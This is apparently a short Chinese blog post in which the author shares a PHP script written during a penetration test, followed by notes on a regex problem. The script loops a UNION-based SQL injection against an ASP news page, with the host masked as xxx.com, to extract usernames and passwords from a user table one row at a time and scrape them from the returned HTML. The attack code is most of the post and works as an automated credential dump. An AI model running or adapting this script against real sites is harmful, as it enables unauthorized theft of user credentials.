写一个php小脚本辅助渗透测试

时间:2023-03-09 01:03:18
写一个php小脚本辅助渗透测试

因为一个注入要爬行一些数据,然后写的一个小脚本,能写脚本来辅助渗透,也算是里程碑。哈哈哈

<?php
$num = 1;
while ($num <= 39) {
$web_url = "http://www.xxx.com/shownews.asp?id=626%0AUNION%0ASELECT%0Atop%0A1%0A1,user_username,3,user_password,5,6%0Afrom%0A(select%0Atop%0A1%0Auser_username,user_phone%0Afrom%0A(select%0Atop%0A".$num."%0Auser_username,user_phone%0Afrom%0Azy_user%0Awhere%0A1=1%0Aorder%0Aby%0Auser_username)%0At%0Aorder%0Aby%0Auser_username%0Adesc)t";
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL,$web_url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
$html_code = curl_exec($curl);
$re = "/<div class=\"helpcontent\">[\s\S]*div>/U";//U取消贪婪模式
if(preg_match_all($re, $html_code, $arr)){
print_r($arr[0]);
}
curl_close($curl);
$num = $num + 1;
echo "<br />";
}
?>

这里遇到了最大的问题还是正则匹配。匹配那个换行。因为html标签是这样的。

  <div class="news_list fr">
<h1>wtmpvp</h1>
<div class="helpcontent">
这里是要匹配的内容
</div>
</div>

可见匹配当中有换行,且一大堆空格。

然后写半天写正则写不出来。贼尴尬。